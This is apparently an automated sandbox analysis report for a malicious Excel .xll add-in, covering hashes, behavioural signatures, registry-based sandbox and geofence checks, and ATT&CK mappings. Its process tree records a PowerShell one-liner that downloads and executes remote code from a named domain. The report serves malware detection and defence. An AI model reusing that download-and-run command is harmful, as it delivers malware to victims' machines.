8f11b912d699cda82e12ca5820c83d10bf8ae6a36ff66b655e69904a4e1340de

General

Target

8f11b912d699cda82e12ca5820c83d10bf8ae6a36ff66b655e69904a4e1340de.xll
Size

12KB
MD5

49b910e7e7dd43416bbd14fa753dc2fc
SHA1

3ebb75efd0a40c8400ef75408be2f1316c8eee37
SHA256

8f11b912d699cda82e12ca5820c83d10bf8ae6a36ff66b655e69904a4e1340de
SHA512

a445c3ae5c1827d858f6328d11c8ea8b2b34a7580c2dce383aff4addd0405e9b9a691bf2f0336cb982f895cf2d7d74b0562ab6411f9d30f91472ee3126d8e4e6
SSDEEP

192:qL29RBzDzeobchBj8JON+ON/rucrEPEjr7Ahd:U29jnbcvYJOTxucvr7Cd

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4808	4032	mshta.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

45 4880 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation mshta.exe
Loads dropped DLL 2 IoCs

Processes:

EXCEL.EXE

pid process

4032 EXCEL.EXE
4032 EXCEL.EXE
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

4880 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
45	4880	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	mshta.exe

pid	process
4032	EXCEL.EXE
4032	EXCEL.EXE

pid	process
4880	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4032 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4880 powershell.exe
4880 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4880 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

4032 EXCEL.EXE
4032 EXCEL.EXE
Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

EXCEL.EXE

pid process

4032 EXCEL.EXE
4032 EXCEL.EXE
4032 EXCEL.EXE
4032 EXCEL.EXE
4032 EXCEL.EXE
4032 EXCEL.EXE
4032 EXCEL.EXE
4032 EXCEL.EXE
4032 EXCEL.EXE
4032 EXCEL.EXE

pid	process
4032	EXCEL.EXE

pid	process
4880	powershell.exe
4880	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4880	powershell.exe

pid	process
4032	EXCEL.EXE
4032	EXCEL.EXE

pid	process
4032	EXCEL.EXE
4032	EXCEL.EXE
4032	EXCEL.EXE
4032	EXCEL.EXE
4032	EXCEL.EXE
4032	EXCEL.EXE
4032	EXCEL.EXE
4032	EXCEL.EXE
4032	EXCEL.EXE
4032	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEmshta.exe

description	pid	process	target process
PID 4032 wrote to memory of 4808	4032	EXCEL.EXE	mshta.exe
PID 4032 wrote to memory of 4808	4032	EXCEL.EXE	mshta.exe
PID 4032 wrote to memory of 4808	4032	EXCEL.EXE	mshta.exe
PID 4808 wrote to memory of 4880	4808	mshta.exe	powershell.exe
PID 4808 wrote to memory of 4880	4808	mshta.exe	powershell.exe
PID 4808 wrote to memory of 4880	4808	mshta.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8f11b912d699cda82e12ca5820c83d10bf8ae6a36ff66b655e69904a4e1340de.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4032

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4808

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\NCVVYLW7\d[1].htm

Filesize
2KB

MD5
f754844cfb65838d1dd6b19dde5d835c

SHA1
b3eb677783adc88c8d048898449e04d49f416db6

SHA256
3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

SHA512
f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

Download Submit
C:\Users\Admin\AppData\Local\Temp\8f11b912d699cda82e12ca5820c83d10bf8ae6a36ff66b655e69904a4e1340de.xll

Filesize
12KB

MD5
49b910e7e7dd43416bbd14fa753dc2fc

SHA1
3ebb75efd0a40c8400ef75408be2f1316c8eee37

SHA256
8f11b912d699cda82e12ca5820c83d10bf8ae6a36ff66b655e69904a4e1340de

SHA512
a445c3ae5c1827d858f6328d11c8ea8b2b34a7580c2dce383aff4addd0405e9b9a691bf2f0336cb982f895cf2d7d74b0562ab6411f9d30f91472ee3126d8e4e6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ur4dl1xi.sup.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4032-8-0x00007FF8F77F0000-0x00007FF8F7800000-memory.dmp

Filesize
64KB

Download
memory/4032-88-0x00007FF8F9A30000-0x00007FF8F9A40000-memory.dmp

Filesize
64KB

Download
memory/4032-5-0x00007FF939A4D000-0x00007FF939A4E000-memory.dmp

Filesize
4KB

Download
memory/4032-7-0x00007FF9399B0000-0x00007FF939BA5000-memory.dmp

Filesize
2.0MB

Download
memory/4032-4-0x00007FF8F9A30000-0x00007FF8F9A40000-memory.dmp

Filesize
64KB

Download
memory/4032-0-0x00007FF8F9A30000-0x00007FF8F9A40000-memory.dmp

Filesize
64KB

Download
memory/4032-1-0x00007FF8F9A30000-0x00007FF8F9A40000-memory.dmp

Filesize
64KB

Download
memory/4032-9-0x00007FF9399B0000-0x00007FF939BA5000-memory.dmp

Filesize
2.0MB

Download
memory/4032-11-0x00007FF9399B0000-0x00007FF939BA5000-memory.dmp

Filesize
2.0MB

Download
memory/4032-14-0x00007FF9399B0000-0x00007FF939BA5000-memory.dmp

Filesize
2.0MB

Download
memory/4032-13-0x00007FF9399B0000-0x00007FF939BA5000-memory.dmp

Filesize
2.0MB

Download
memory/4032-10-0x00007FF9399B0000-0x00007FF939BA5000-memory.dmp

Filesize
2.0MB

Download
memory/4032-15-0x00007FF8F77F0000-0x00007FF8F7800000-memory.dmp

Filesize
64KB

Download
memory/4032-3-0x00007FF8F9A30000-0x00007FF8F9A40000-memory.dmp

Filesize
64KB

Download
memory/4032-89-0x00007FF9399B0000-0x00007FF939BA5000-memory.dmp

Filesize
2.0MB

Download
memory/4032-6-0x00007FF9399B0000-0x00007FF939BA5000-memory.dmp

Filesize
2.0MB

Download
memory/4032-12-0x00007FF9399B0000-0x00007FF939BA5000-memory.dmp

Filesize
2.0MB

Download
memory/4032-87-0x00007FF8F9A30000-0x00007FF8F9A40000-memory.dmp

Filesize
64KB

Download
memory/4032-86-0x00007FF8F9A30000-0x00007FF8F9A40000-memory.dmp

Filesize
64KB

Download
memory/4032-85-0x00007FF8F9A30000-0x00007FF8F9A40000-memory.dmp

Filesize
64KB

Download
memory/4032-2-0x00007FF8F9A30000-0x00007FF8F9A40000-memory.dmp

Filesize
64KB

Download
memory/4032-69-0x00007FF9399B0000-0x00007FF939BA5000-memory.dmp

Filesize
2.0MB

Download
memory/4880-59-0x0000000006510000-0x000000000652E000-memory.dmp

Filesize
120KB

Download
memory/4880-60-0x0000000006550000-0x000000000659C000-memory.dmp

Filesize
304KB

Download
memory/4880-61-0x0000000007D50000-0x00000000083CA000-memory.dmp

Filesize
6.5MB

Download
memory/4880-62-0x0000000006A30000-0x0000000006A4A000-memory.dmp

Filesize
104KB

Download
memory/4880-58-0x0000000006130000-0x0000000006484000-memory.dmp

Filesize
3.3MB

Download
memory/4880-48-0x0000000005EA0000-0x0000000005F06000-memory.dmp

Filesize
408KB

Download
memory/4880-47-0x0000000005E30000-0x0000000005E96000-memory.dmp

Filesize
408KB

Download
memory/4880-44-0x0000000004F70000-0x0000000004FA6000-memory.dmp

Filesize
216KB

Download
memory/4880-46-0x0000000005560000-0x0000000005582000-memory.dmp

Filesize
136KB

Download
memory/4880-45-0x0000000005700000-0x0000000005D28000-memory.dmp

Filesize
6.2MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads